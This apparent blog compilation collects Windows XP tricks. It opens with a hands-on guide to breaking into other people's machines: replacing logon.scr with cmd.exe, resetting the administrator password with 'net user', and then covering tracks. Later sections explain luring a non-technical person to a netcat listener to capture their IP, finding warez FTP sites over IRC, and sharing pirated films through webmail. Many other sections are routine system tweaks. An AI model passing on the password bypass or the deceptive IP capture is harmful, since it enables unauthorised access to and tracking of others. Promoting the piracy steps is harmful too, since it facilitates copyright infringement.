How to hack Windows XP Admin Passwords the easy way

by Estyle, Jaoibh
and Azrael.
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This hack will only work if the person that owns the machine has no intelligence. This is how it works:
When you or anyone installs Windows XP for the first time your asked to put in your username and up to five others.
Now, unknownst to a lot of other people this is the only place in Windows XP that you can password the default Administrator Diagnostic Account. This means that to by pass most administrators accounts on Windows XP all you have to do is boot to safe mode by pressing F8 during boot up and choosing it. Log into the Administrator Account and create your own or change the password on the current Account.
This only works if the user on setup specified a password for the Administrator Account.

This has worked for me on both Windows XP Home and Pro.
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Now this one seems to be machine dependant, it works randomly(don't know why)

If you log into a limited account on your target machine and open up a dos prompt then enter this set of commands Exactly:
(this appeared on www.astalavista.com a few days ago but i found that it wouldn't work on the welcome screen of a normal booted machine)
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cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
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Now what you have just done is told the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots thescreen saver you will get an unprotected dos prompt with out logging into XP.
Once this happens if you enter this command minus the quotes "net user <admin account name here> password" If the Administrator Account is called Frank and you want the password blah enter this "net user Frank blah" and this changes the password on franks machine to blah and your in.

Have fun
p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks Any updates, Errors, Suggestions or just general comments mail them to either

How to fix Windows Installer problem

Do you experience this kind of problem whenever you attemp to install an application in windows box (2k, xp)?

"The Windows Installer service could not be accessed. This can occur if you are running Windows in safe mode, or if the Windows Installer is not correctly installed. Contact your support personnel for assistance."

The ms website knowledge article 324516 gives 2 methods as a way of fixing this problem, but you might be very lucky if any of the 2 fixes the problem, alot of guys end up formating their systems and doing fresh windows installations or try wired ways of fixing it.

Well, the solution is very easy:

1. right click your root windows installation drive i.e drive where you installed windows
2. click properties at the bottom
3. select security tab
4. click Add and scroll down to SYSTEM account click add and click OK.
5. allow Full control permission and click Apply and then Ok.

This should solve your problem with windows installer.

Visit
http://trickthousand.blogspot.com

How to find a remote IP

Method 1

To view someone's IP# when they send you hotmail email do this:
1) Click "Options" on the upper right side of the page.
2) On the left side of the page, Click "Mail"
3) Click "Mail Display Settings"
4) Under "Message Headers" select "Full" or "Advanced"
5) Click ok

Method 2
reg a dydns account and install the ip pointer, so each time you ping the host name you regestored

for example:
you regestor the host name myhost.dydns.com, then you keep a little software running on the target host. The little software will keep update your IP to dydns.com server.

so at your pc just start cmd, and ping myhost.dydns.com, it will give you the most updated ip address.

Method 3
neverender, what doesn't work for you? Simply type in nc -vvv -l -p 80 on your box, which will set it to listen in verbose mode on port 80. Then give them a link to your IP address (for example: 111.111.111.11) and tell them to type it in their browser. The browser should resolve the address as well as append port 80 automatically. Just make sure that your friend is not very computer literate.

Method 4
Just download a very simple server such as this one and install it on your comp. Then run it and give your ip to the person you want and tell them to connect to it through a browser. Your server will log their connection and you will get their IP.

link:http://www.download.com/Abyss-Web-Server/3000-2165-10283992.html?tag=lst-0-6


Other Ways
-www.imchaos.com and make a "spy poll" to put in ur profile, this will tell u the IP of anybody who answers ur poll
-originalicons.com there is a page for doin it (i dont like it, but it works)
-or irc


Here is a more detailed tutorial about using NetCat.

http://www.onlamp.com/pub/a/onlamp/2003/05/29/netcat.html

Windows users can download NetCat from here:

http://www.atstake.com/research/tools/network_utilities/

How to Download-Upload Files from email

This post will teach u how to send big files to email

This technic is really a newly powerfull way of downloading movies games... Nothing to worry about the fu***** deleters and all the jerks!

Enought bullshit lets get down to buisness:

First of all u need to have a big mail box. here are the one which we can cover. click on the icon to go to the website

• Gmail (Google mail)
• Storage space - 1GB
• Maximum attachment size - 10MB
Image
www.gmail.com

• Walla! mail (the best)
• Storage space - 1GB
• Maximum attachment size - 7MB
Image
www.walla.com

• Spymac Mail
• Storage space - 1GB
• Maximum attachment size - 10MB
Image
www.spymac.com

• Unitedemailsystems
• Storage space - 3GB
• Maximum attachment size - 10MB
Image
www.unitedemailsystems.com

• Xasamail
• Storage space - 2GB
• Maximum attachment size - 10MB
Image
www.xasamail.com


• Omnilect Mail
• Storage space - 2GB
• Maximum attachment size - 7MB
Image
www.omnilect.com

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Image

Then download the software called peer to mail:
http://dw.com.com/redir?pid=10351095&merid=72949&mfgid=72949&lop=link&edId=3&siteId=4&oId=3002-2196_4-10351095&ontId=2196&destUrl=http%3A%2F%2Fwww.peer2mail.com%2FP2MSetup.exe

official website:
http://www.peer2mail.com
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Next step : configurate the soft

go in settings > SMTP server setting

and give an smtp adress that u know

Ex: smtp.laposte.net
user : HULK
pass: ******

Once configurated u don't need to touch it for the rest pf ur upload
Image

This is a critical step, if u are experimenting any pb of connexion this is were u need to have a look:

This is possible that temporaly ur internet provider dont allow u to use other smtp adress than his. So use it
ie:
smtp.free.fr
smtp.wanadoo.fr
(these are french one I don't know of which one u are using)
...

If u are experimenting any pb it is better to desactivate ur antivirus (the scanning mail option)

Image


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Image

1 - Click on Splint/Send File.
2 - Click on the icon (choose a file to send.....).
3 - select the archive that u want to upload it.
4 - type the address of ur account (email).
5 - It determines the size of the parts that the archive will be divided ( take a look at the max size used by ur mail) i advise u to put a size of 6MB.
6 - It determines the type of sending. "send via smtp server"

After all that, press OK.

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press the selected button in the figure:

Image

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After all the parts have been sent,go to ur account (email) and confirms, then u have to bring the Encrypted password follows the example below:

Image

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Always give the following information to the users:
follows the example below:

Email: GMail
Login: zezão
Password: |/kjds42d4sd24 \|

remmember:
- only Encrypted Password, never sends ur true password

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Be careful : never post ur coordinates without having previously verifyed the content in the mailbox

sometimes peer2mail tells u that evrything is sent but It can happens that nothing is sent


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U want to download games and movies with a good speed ( thats what we all here for!)

So here is an easy way to download large files from mailbox

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first download peer to mail

Image

official website:
http://www.peer2mail.com
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Open it and go to the browse tab

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then take the coordinates of the film/game u want to download

in this tutorial i'll use the film mulan :

mail: walla.com
login: dragon_mushu
pass: <(/++EiJPy)>

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U noticed that the mail used is walla.com

so go to www.walla.com with the adress bar or with the prerecorded website (see picture)

Image

login with:
"dragon_mushu" & "<(/++EiJPy)>"

Image
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go into the inbox then click on this icon:
Image

this wil do this:
Image

after uve retrieve all the segment click on "download"
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If everithing is fine the movie will be merge automatically
and u won't need to care about the segments

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If u look for a place to share/download movies/games using peer2mail just go to the peer2mail website www.peer2mail.com. Then go to the forum and click on "peer2mail related websites".

here is the direct link (may not work)
http://www.peer2mail.com/forums/viewforum.php?f=13

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Here u are now u should be an expert on peer2mail!!!




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Peer2Mail is the first software that let you store and share files on any web-mail account. If you have a web mail account with large storage space, you can use P2M to store files on it. Web-mail providers such as Gmail (Google Mail), Walla!, Yahoo and more, provide storage space that ranges from 100MB to 3GB.
P2M splits the file you want to share/store zips and encrypts it. P2M then sends the file segments one by one to your account. Once P2M uploaded all file segments, you can download them and use P2M to merge the segments back to the original file.

Sending a File

In order to send a file to an email account, Peer2Mail needs to split it into segments. Web-mail providers limit the size of an email attachment usually to a nominal 10Megs, but due to the size increase resulting from transport encodings, the limit works out to be a few MB less (Usually 7MB). Use the following dialog to prepare the file before sending:

* File Name - The file/s you want to send. You can use the Browse button to select a single or multiple files.

* Mail To - The recipients who will receive the file (Web-mail account). When using Direct Send you may enter only one email address. If you are sending Via MAPI then you can enter as many recipients as you like; Use the Recipients button to easily add email address separated by semi colon (icon_wink.gif.

* Optional Encryption Password - P2M automatically encrypts each segment to protect you privacy, however you can set a password (key) for the encryption to maximize the privacy. You will need this password when you merge the segments back.

* Segment Size - P2M splits the file into segments. Here you can determine the segment size, most of the web-mail providers limit the attachment size to a nominal 10Megs, but due to the size increase resulting from transport encodings, the limit works out to be a few MB less (Usually 7MB). It is recommended to test your web-mail provider for the size of an attachment it can receive.

Send Method -

o Direct Send - P2M has a built in SMTP component that sends the segments directly to the web-mail providers. You don't need to enter your ISP details in order to use P2M. If you are using this feature please make sure you enter a value in the 'From Email Address' because some web-mail providers reject email messages where there is no 'From' address. You can even enter a fake mail address.

o Send Via MAPI - P2M can send the segments using MAPI (Usually your outlook client). When you use this option P2M will split the files and move the sending responsibility to Outlook. Note that it will use your ISP SMTP server and details to send the files. You may enter as many recipients as you wish when using this option.

o Send Via SMTP Server - Send the segments using your ISP SMTP Server. If you are using this feature please make sure you enter a value in the 'From Email Address' because some web-mail providers reject email messages where there is no 'From' address. You can even enter a fake mail address. You may enter as many recipients as you wish when using this option.

* From Email Address - This is the source address of the mail. This address doesn't have to be valid, although sometimes web-mail providers reject emails where the domain part of the address isn't valid.

Image

Once you are done, click on the Ok button. You can now choose if you want P2M to send all the segments or only specific few by checking/un-checking the checkboxes. Once you are ready, click on the Send button. It may take a few hours to complete the operation depending on the file size and your internet connection.
Note: If you are using an antivirus program that scans outgoing mail, it is recommended to disable this feature since it takes a long time for each segment to be scanned.


Plain Transfer

In case you don't want Peer2Mail to split, zip and encrypt your files, and just want to send the files "as is�" then you can use Plain Transfer. This option isn't secure. P2M just sends the file as an email attachment and some web mail providers might even block it.

Choose Plain Transfer from the drop down button: Image.
Once you are done filling the details as described above, click on the Ok button. Once you are ready, click on the Send button.
Note: If you are using an antivirus program that scans outgoing mail, it is recommended to disable this feature since it takes a long time for each segment to be scanned.


Downloading the Segments

P2M includes a built in browser so you can easily log into your web-mail account. Before you can merge the segments you need to download them. It is important that you will save all the segments into the same folder. The first segment name ends with the P2M extension and the rest follow with a serial number 001...00x.

Auto Download

Peer2Mail can automatically list and download files from web-mail accounts. Currently P2M supports auto-download from Gmail, Walla, Yahoo, Spymac, Unitedemailsystems, Xasamail, Gawab, Hriders and Omnilect. To use this feature, login to your account and click on the green download button (Image). P2M will then list the segments (may take a few minutes) and at any time you can tell P2M what segment to download by clicking on the checkboxes that appear next to them. Click on the Download button to begin downloading the selected segments.
If you checked the Auto Merge checkbox then Peer2Mail will automatically merge the segments once the download process is done
Image

The listing process can be a bit slow since P2M scans the mail account and gathers information about each attachment. Sometimes a server doesn't reply to a request so P2M might skip it. To fix that, once the listing process is over, click on the refresh button and P2M will re-index only the segments it didn't already list.
P2M scans for segments only in the inbox for Yahoo, Walla, Spymac, Unitedemailsystems, Xasamailand, Gawab, Hriders, Omnilect, and on all folders with Gmail.

Merging the Segments

Once you completed downloading all the segments, use P2M to merge it back to the original file. Choose the folder you want the file to be saved in and click on the Merge button. The Merge dialog:

# P2M File/s - use the Browse button to select the first segment of the file you wish to merge. The first segment extension is P2M.

# Decryption Password - If you used a password when you sent the file to your account, you must enter it now in order to merge it back. Incorrect password will result in a failure to merge the segments.

How to copy songs from your iPod to your PC

A reader points out a straightforward way for Windows users to transfer music from an iPod to your hard drive, without extra software:

1. Connect the iPod to your PC. If iTunes starts syncing (ie erasing) your music automatically, hit the X in the upper right hand corner of iTunes display, to the left of the search box, to stop it.
2. In Control Panel, Portable Media Devices, double-click your iPod.
3. Navigate to the Music folder.
4. Select all the music folders, and drag and drop them into a folder on your hard drive, or directly into iTunes.

And you’re done! The iPod music folder structure is strange and inexplicable, but once you move your files into iTunes you can set it to automatically organize your folder by artist and album to clean that up. (To do this, in iTunes Edit menu, choose Preferences and in the Advanced tab, check “Keep iTunes Music Folder organized.”)

If you give this a go, lemme know how it goes. I’ll ammend the instructions with any additional info for other versions of Windows and iPods.


Just for the record, I did not write this article, but I would have known how to do this. But one thing I ahve noticed is that you do not need to go into the control panel. Instead just make explorer.exe show hidden folders. Then, navigate into the iPod directory, go into iPod_control, and follow step four of the article. Software

How to change the serial number used in Windows XP, Valid for XP Corporate

Step 1

Open Start/Run... and type the command:
regedit and click "OK" (or press ENTER).

Go to HKey_Local_Machine\Software\Microsoft\WindowsNT\Current Version\WPAEvents,
on the right double click on "oobetimer" and change at least one digit of this value to deactivate windows.

Click "OK" and close the Registry Editor.

Step 2

Open Start/Run... and type the command:
%systemroot%\system32\oobe\msoobe.exe /a and click "OK" (or press ENTER).

This will bring up the "Activate Windows" window.

Check the option for "Yes, I want to telephone a customer service representative to activate Windows" and click "Next"


Step 3

Then click "Change Product Key" (don't enter any information on that screen)


Step 4

Type in the new key and click "Update"


The activate Windows by phone window will reappear at this point, just close it by clicking the X in the upper right hand corner

Step 5

Reboot your system and Open Start/Run... and type the command:
%systemroot%\system32\oobe\msoobe.exe /a and click "OK" (or press ENTER).

If you see "Windows is already activated" then everything is OK.

How To Boot Xp Faster (updated)

First of all, this tweak only apply to those who only have one HDD on their primary IDE channel (nothing else on device 0 or 1) and a CD-ROM and/or DVD-ROM on the secondary IDE channel. Each time you boot Windows XP, there's an updated file called NTOSBOOT-*.pf who appears in your prefetch directory (%SystemRoot%Prefetch) and there's no need to erease any other files as the new prefetch option in XP really improves loading time of installed programs. We only want WindowsXP to boot faster and not decrease its performance. Thanks to Rod Cahoon (for the prefetch automation process...with a minor change of mine) and Zeb for the IDE Channel tweak as those two tricks, coupled together with a little modification, result in an EXTREMELY fast bootup:

1. Open notepad.exe, type "del c:windowsprefetch tosboot-*.* /q" (without the quotes) & save as "ntosboot.bat" in c:
2. From the Start menu, select "Run..." & type "gpedit.msc".
3. Double click "Windows Settings" under "Computer Configuration" and double click again on "Shutdown" in the right window.
4. In the new window, click "add", "Browse", locate your "ntosboot.bat" file & click "Open".
5. Click "OK", "Apply" & "OK" once again to exit.
6. From the Start menu, select "Run..." & type "devmgmt.msc".
7. Double click on "IDE ATA/ATAPI controllers"
8. Right click on "Primary IDE Channel" and select "Properties".
9. Select the "Advanced Settings" tab then on the device 0 or 1 that doesn't have 'device type' greyed out select 'none' instead of 'autodetect' & click "OK".
10. Right click on "Secondary IDE channel", select "Properties" and repeat step 9.
11. Reboot your computer.

WindowsXP should now boot REALLY faster.

Change Text on XP Start Button

Step 1 - Modify Explorer.exe File

In order to make the changes, the file explorer.exe located at C:\Windows needs to be edited. Since explorer.exe is a binary file it requires a special editor. For purposes of this article I have used Resource Hacker. Resource HackerTM is a freeware utility to view, modify, rename, add, delete and extract resources in 32bit Windows executables and resource files (*.res). It incorporates an internal resource script compiler and decompiler and works on Microsoft Windows 95/98/ME, Windows NT, Windows 2000 and Windows XP operating systems.

get this from h**p://delphi.icm.edu.pl/ftp/tools/ResHack.zip

The first step is to make a backup copy of the file explorer.exe located at C:\Windows\explorer. Place it in a folder somewhere on your hard drive where it will be safe. Start Resource Hacker and open explorer.exe located at C:\Windows\explorer.exe.

The category we are going to be using is "String Table". Expand it by clicking the plus sign then navigate down to and expand string 37 followed by highlighting 1033. If you are using the Classic Layout rather than the XP Layout, use number 38. The right hand pane will display the stringtable. We’re going to modify item 578, currently showing the word “start” just as it displays on the current Start button.

There is no magic here. Just double click on the word “start” so that it’s highlighted, making sure the quotation marks are not part of the highlight. They need to remain in place, surrounding the new text that you’ll type. Go ahead and type your new entry. In my case I used Click Me!

You’ll notice that after the new text string has been entered the Compile Script button that was grayed out is now active. I won’t get into what’s involved in compiling a script, but suffice it to say it’s going to make this exercise worthwhile. Click Compile Script and then save the altered file using the Save As command on the File Menu. Do not use the Save command – Make sure to use the Save As command and choose a name for the file. Save the newly named file to C:\Windows.


Step 2 – Modify the Registry

!!!make a backup of your registry before making changes!!!

Now that the modified explorer.exe has been created it’s necessary to modify the registry so the file will be recognized when the user logs on to the system. If you don’t know how to access the registry I’m not sure this article is for you, but just in case it’s a temporary memory lapse, go to Start (soon to be something else) Run and type regedit in the Open field. Navigate to:

HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon

In the right pane, double click the "Shell" entry to open the Edit String dialog box. In Value data: line, enter the name that was used to save the modified explorer.exe file. Click OK.

Close Registry Editor and either log off the system and log back in, or reboot the entire system if that’s your preference. If all went as planned you should see your new Start button with the revised text.[/b]

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http://trickthousand.blogspot.com

Broken Internet Explorer, How to fix it

So one of your friends, “not you of course”, has managed to nuke Internet Explorer and they are unsure how they did it. You’ve eliminated the possibility of viruses and adware, so this just leaves you and a broken IE. Before you begin to even consider running a repair install of the OS, let’s try to do a repair on IE instead.

THE REPAIR PROCESS

Start the Registry Editor by typing regedit from the Run box. Go to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Active Setup \ Installed Components \ {89820200-ECBD-11cf-8B85-00AA005B4383} and then right-click the “IsInstalled value.” Click Modify. From there, you will change the value from 1 to 0. All right, go ahead and close the editor and reinstall IE from this location. /http://www.microsoft.com/windows/ie/default.mspx

IF SOMETHING GOES WRONG

If messing with the registry and something goes horribly wrong, you can use “Last Known Good Configuration (F8 Safe Mode)” or a Restore Point to get back to where you were before, with your settings. Then you can try again, this time taking care to watch the portion of the registry you are changing. Most people who have troubles with this end up changing the wrong registry key.

Hope this tut helps some members.

How to hack-change your Windows XP Boot Screen

HACKING THE XP BOOT SCREEN





This is a very simple trick to do if you have done the same for the logon screen and the start button. There are 2 ways to do this trick that I know about one is doing it manually and the other is using a program called bootxp. I am going to tell you the manual way to do it, but if you want to know the other way just let me know, so I can do an update to the guide. Now once you have downloaded your ntoskrnl.exe file save it a general location so that you will have easy access to it, like my folder.



Once you have ntoskrnl.exe file in an easy access folder, restart your pc into safe mode. Once into safe mode go to the folder where your files are located.



Now that you are there copy the file that you want to change your boot screen too. Once you have copied that file, hit the window key + r or type %windir%\system32 in the run command, so that folder as follows.



Once there paste your new file into the folder and overwrite the existing folder.



Now that you have your new file in the folder restart your pc as you normally would and your new boot screen should appear. You can download this bootscreen here.



ALWAYS BACKUP EVERYTHING YOU EDIT OR DELETE. I'M NOT RESPONSIBLE IF YOU MESS YOUR COMPUTER UP BY DOING THIS HACK OR ANY TYPE OF HACK. DO IT AT YOUR OWN RISK.

Image and ntoskrnl.exe files provided by www.themexp.org

or
u can go to

code:

http://www.overclockersclub.com/guides/hackxpbootscreen.php

Visit
http://trickthousand.blogspot.com

How to: Install and run Windows CE on your USB Stick

Portable Windows CE is a 'launcher' for the Windows CE device emulator that can run an emulator-based image from a USB keychain.

Download the Windows CE 5.0 Device Emulator.
Code:Here


Change "Mcft" in link to what it is supposed to be icon_wink.gif

Extract the emulator to a folder on your hard drive by running "setup /a". The installer will prompt you to specify a directory to extract to . For example: D:\PortableCE

Download this launcher script:
Code:Here


Copy the following launcher script to the directory you extracted the setup to. You'll need to rename the file from launchce.cmd.txt to launchce.cmd
Once you have that set up, just copy the entire D:\PortableCE folder over to your USB keychain.

To launch the emulator, just plug in your USB keychain, navigate to the PortableCE folder, and run launchce.cmd. You should (hopefully) have the emulator fire up.

Visit here

How to save Windows xp updates

Go to the Windows Update web site.
In the left pane, under Other Options, select “Personalize Windows Update”.
Under “Set Options for Windows Update”, select the checkbox for “Display the Link to Windows Update Catalog under ‘See Also’”, then click “Save Settings”.
Go back to the Windows Update web site.
In the left pane, under “See Also”, select “Windows Update Catalog”.
Select “Find Updates for Microsoft Operating Systems”.
Select the operating system and language of your choice.
Select “Critical Updates and Service Packs”.
Select all of the patches you’d like to download, then click on “Go to download basket” to download them.

Visit here

How to save Windows xp updates

Go to the Windows Update web site.
In the left pane, under Other Options, select “Personalize Windows Update”.
Under “Set Options for Windows Update”, select the checkbox for “Display the Link to Windows Update Catalog under ‘See Also’”, then click “Save Settings”.
Go back to the Windows Update web site.
In the left pane, under “See Also”, select “Windows Update Catalog”.
Select “Find Updates for Microsoft Operating Systems”.
Select the operating system and language of your choice.
Select “Critical Updates and Service Packs”.
Select all of the patches you’d like to download, then click on “Go to download basket” to download them.

Part 3 Ftp

PART 3
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Now time to slap on an FTP client and mix it with An IRC client and season it with the List Reader

You may already have Mirc from the 1st 2 parts if not get it from
CODE
http://www.mirc.com
then please get this great FTP client from
CODE
www.flashfxp.com
and finally the Invaluable List Reader from
CODE
http://listreader.oompah.org/
<-= install carefully, you may need the .net framework as well, available through windows update or the link posted on that website.

If you don't know what FTP is or how to use it, egh... LOOK INTO IT!!
Moving along, you need to obtain an FTP site to connect to. this is where the magical LIST comes in.

To get the list go into mirc, and type in the status window /server irc.fdfnet.net then type /join #warez to join the channel warez. Once inside type "!list" without the quotation marks, and a you will get offered a file called list.txt, accept gracefully, and remember to stay in the channel for a few minues. If you close mirc down as soon as you get the file, you will be banned from that channel for good, for being a tight a**.

Once you have the file it will be located in your MircInstallDir\downloads folder. Start up List Reader and open up the file.

Wow you say, look at all these sites. Yep, all good.
Before you can connect to them, in the options (look around, you have eyes after all) select your default client to be flashfxp and point to it (its probably in program files\flashfxp)

Once that is done, start up Flashfxp and double click on a site that you like, you can either scroll down the list in different categories or search. Please note that the descriptions are often brief and a site may have ALOT more good stuf on it. Once you double click on a site, you will notice that flashfxp is connecting for you. As with most things, you will find that it will either connect quickly and u will be presented with alot of files/and or folders that look like something you see in an explorer window. The site could be busy and you may have to wait and hope that it eventually connects, or the site may have died and you are momentarilly out of luck.

This sounds like alot of work old man, is it worth the time ?

Yes it is, because sometimes you will hit a goldmine, and maybe down 4 gigs of excellent stuff in one hit its too easy, all u do is drag the stuff you want from the right window into the bottom left window, and once u have queued up, right click on one of the files in the bottom left window and do transfer, to watch them all download one by one.

But But I like bitttorents and XDCC
Good then only use them. However i use it ALL

Thanks to OLI who wrote these guides.

Tips And Tricks, Windows XP

Some Tips And Tricks For Your Windows XP

STOP NOISE IN COPYING AUDIO CD
When using 3rd party burning software (eg, Nero Burning Rom) to copy audio CD,some noise may be heard at the end of each track. To prevent this,try the following method:
1. Enter System Properties\device manager
2. Select IDE ATA/ATAPI controllers
3. Double click on thee CD writer IDE channel
4. Select advance setting
5. Change the transfer mode to 'PIO Only'
6. Restart Computer

DISABLING THE 'UNSIGNED DRIVER' DIALOGS
This option wll disable the screen wich keeps popping up when you try to install 'digitally unsigned drivers'. Normally you can choose to continue the install anyways, but I have had situations where you cannot continue the install.. very annoying.. This is how to fix it:
Click Start - Run
then type: gpedit.msc
then hit enter.
Browse the folder tree to the following location:
User Configuration - Administrative Templates - System
now right-click Code signing for Device drivers and select Properties.
On the Settings tab, either select
- enable, and then select ignore from the appearing listbox..
- or click the disable option. Click apply and Ok and your set!
Alternatively especially for XP Home users:
Open "System" properties (Windows key + pause or Right click 'My Computer' - properties or Control Panel - System).On the Hardware tab click the "Driver Signing" button. In the dialogue that comes up choose "Ignore" to install the new driver anyway.

DMA MODE ON IDE DEVICES VIEWS
Just like Windows 2000, Windows XP still fails to set the DMA mode correctly for the IDE device designated as the slaves on the primary IDE and secondary IDE channels. Most CD-ROMS are capable of supporting DMA mode, but the default in XP is still PIO. Setting it to DMA won't make your CD-ROM faster, but it will consume less CPU cycles. Here's how:
1. Open the Device Manager. One way to do that is to right click on "My Computer", select the Hardware tab, and Select Device Manager.
2. Expand "IDE ATA/ATAPI Controllers" and double-click on "Primary IDE Channel"
3. Under the "Advanced Settings" tab, check the "Device 1" setting. More than likely, your current transfer mode is set to PIO.
4. Set it to "DMA if available".
Repeat the step for the "Secondary IDE Channel" if you have devices attached to it. Reboot.

RESTORING MEDIA PLAYER
To restore Windows Media Player insert the the XP CD into the CD drive (if it autostarts click exit). Open a command window and type the following :
rundll32.exe setupapi,InstallHinfSection InstallWMP7 132 c:\windows\inf\wmp.inf

RESTORING ACCESS TO CD ROM'S
If you removed CD Burning software, or for some other mystical reason, can not longer access your CD ROM's, in most cases following registry keys needs to be deleted: Locate and delete the UpperFilters and LowerFilters values under the following key in the registry:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E965-E325-11CE-BFC1-08002BE10318}

DELETING THE INDEX.DAT
Del "C:\Documents and Settings\aeon\Local Settings\Temporary Internet Files\Content.IE5\index.dat"

CONTROL PANEL ON THE DESKTOP.
On The Desktop, Right Click Your Mouse Then Choose "New | Folder". Name The Folder As "ControlPanel. {21EC2020-3AEA-1069-A2DD-08002B30309D}" Without The "Quote Things. And Now You Can Access The Control Panel More Faster Then Before.

CHANGING INTERNET EXPLORER ICON NAME.
Open Registry Editor Then Go To : "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID". You Can See A Few Key Below It.

Now Go To This Key {871C5380-42A0-1069-A2EA-08002B30309D}, Double Click At The Default Value On The Right, Enter Whatever Name You Like.

REMOVING USERNAME IN THE STARTMENU
Open Registry Editor Then Go To : "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer".
On The Right, Make A New Entry With Right Click On Your Mouse Then Choose "New | DWORD Value" Change The Entry's Name Into "NoUserNameInStartMenu", Double Click In The New Entry And Fill The "Value Data" With "1". Press OK, Exit From The Registry Editor. Restart Your Computer.

INTERNET EXPLORER LIGHTING-FAST STARTUP.
Isn't it annoying when you want to go to a new website, or any other site but your homepage, and you have to wait for your 'home' to load? This tweak tells Internet Explorer to simply 'run', without loading any webpages. (If you use a 'blank' page, that is still a page, and slows access. Notice the 'about:blank' in the address bar. The blank html page must still be loaded..). To load IE with 'nothing' [nothing is different than blank]:
1. Right-click on any shortcut you have to IE
[You should create a shortcut out of your desktop IE icon, and delete the original icon]
2. Click Properties
3. Add ' -nohome' [with a space before the dash] after the endquotes in the Target field.
4. Click OK
Fire up IE from your modified shortcut, and be amazed by how fast you are able to use IE!

INTERNET EXPLORER SPEED UP.
Edit your link to start Internet Explorer to have -nohome after it. For Example: "C:\Program Files\Internet Explorer\IEXPLORE.EXE" -nohome
This will load internet explorer very fast because it does not load a webpage while it is loading. If you want to go to your homepage after it is loaded, just click on the home button.

SPEED UP BROWSING WITH DNS CATCH.
when you connect to a web site your computer sends information back and forth, this is obvious. Some of this information deals with resolving the site name to an IP address, the stuff that tcp/ip really deals with, not words. This is DNS information and is used so that you will not need to ask for the site location each and every time you visit the site. Although WinXP and win2000 has a pretty efficient DNS cache, you can increase its overall performance by increasing its size. You can do this with the registry entries below:
************begin copy and paste***********
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters]
"CacheHashTableBucketSize"=dword:00000001
"CacheHashTableSize"=dword:00000180
"MaxCacheEntryTtlLimit"=dword:0000fa00
"MaxSOACacheEntryTtlLimit"=dword:0000012d
************end copy and paste***********
make a new text file and rename it to dnscache.reg. Then copy and paste the above into it and save it. Then merge it into the registry.

START IEXPLORER WITH EMPTY BLUE SCREEN.
Set your default page to about:mozilla and IE will show a nice blue screen upon startup.

SPEED UP DETAILED VIEW IN WINDOWS EXPLORER.
If you like to view your files in Windows Explorer using the "Details" view here is a tweak to speed up the listing of file attributes: Viewing files in Windows Explorer using the "Details" mode shows various attributes associated with each file shown. Some of these must be retrieved from the individual files when you click on the directory for viewing. For a directory with numerous and relatively large files (such as a folder in which one stores media, eg: *.mp3's, *.avi's etc.)

Windows Explorer lags as it reads through each one. Here's how to disable viewing of unwanted attributes and speed up file browsing:
1. Open Windows Explorer
2. Navigate to the folder which you wish to optimize.
3. In "Details" mode right click the bar at the top which displays the names of the attribute columns.
4. Uncheck any that are unwanted/unneeded.
Explorer will apply your preferences immediately, and longs lists of unnecessary attributes will not be displayed. Likewise, one may choose to display any information which is regarded as needed, getting more out of Explorer.

WEB PAGES SLOWS DOWN, FIX.
The tweak is simple. Beside the QoS and others around the Internet for the new XP OS, I found out that native drivers sometimes slow you down (cable and xDSL users). So if you have applied all tweaks and you are still having slow downs try reinstalling your NICs drivers. The difference is noticeable. My web pages now load almost instantly where they used to take even a minute!

FIX IE 6 SLOWDOWNS AND HANGS.
1. Open a command prompt window on the desktop (Start/Run/command).
2. Exit IE and Windows Explorer (iexplore.exe and explorer.exe, respectively, in Task Manager, i.e - Ctrl-Alt-Del/Task Manager/Processes/End Process for each).
3. Use the following command exactly from your command prompt window to delete the corrupt file:
C:\>del "%systemdrive%\Documents and Settings\%username%\Local
Settings\Temporary Internet Files\Content.IE5\index.dat"
4. Restart Windows Explorer with Task Manager (Ctrl-Alt-Del/Task Manager/Applications/New Task/Browse/C:\Windows\explorer.exe[or your path]) or Shutdown/Restart the computer from Task Manager.

SPEED UP WEB BROWSING.
Iv'e personally found a dramatic increase in web browsing after clearing the Windows XP DNS cache. To clear it type the following in a command prompt: ipconfig /flushdns.

ALLOW MORE THAN 2 SIMULTANEOUS DOWNLOADS ON IEXPLORER 6.
This is to increase the the number of max downloads to 10.
1. Start Registry Editor (Regedt32.exe).
2. Locate the following key in the registry:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
3. On the Edit menu, click Add Value , and then add the following registry values:
"MaxConnectionsPer1_0Server"=Dword:0000000a
"MaxConnectionsPerServer"=Dword:0000000a
4. Quit Registry Editor.

IPV6 INSTALLATION FOR WINDOWS XP.
This protocol is distined to replace the Internet Protocal Version 4 used by Internet Explorer it uses hexadecimal ip addresses instead of decimal example (decimal ip 62.98.231.67) (hexadecimal IP 2001:6b8:0:400::70c)
To install To install the IPv6 Protocol for Windows XP:
Log on to the computer running Windows XP with a user account that has local administrator privileges. Open a command prompt. From the Windows XP desktop, click Start, point to Programs, point to Accessories, and then click Command Prompt. At the command prompt, type: ipv6 install
For more information on IPv6, visit the site below:
CODE
http://www.microsoft.com/windowsxp/pro/techinfo/administration/ipv6/default.asp

ANOTHER WAY TO FIX IEXPLORER 6 SLOW PAGES LOADED.
Here's an easier way to get to index.dat file as addresse in another tweak submitted here.
1. click on Internet Explorer
2. go to to your root dir (usually C:)
3. open Documents and Settings folder
4. open "your username folder"
5. open UserData
6. **close IE if you have it open**
rename index.dat to index.old
logoff and log back on (don't need to restart) open up IE and go to a web page or site that always seemed to load slowly. It should load a lot more quickly now. NOTE. Always rename or backup .dat or other system files before deleting.

EASY WAY TO ADD THE ADMINISTRATOR USER TO THE WELCOME SCREEN.
Start the Registry Editor Go to:
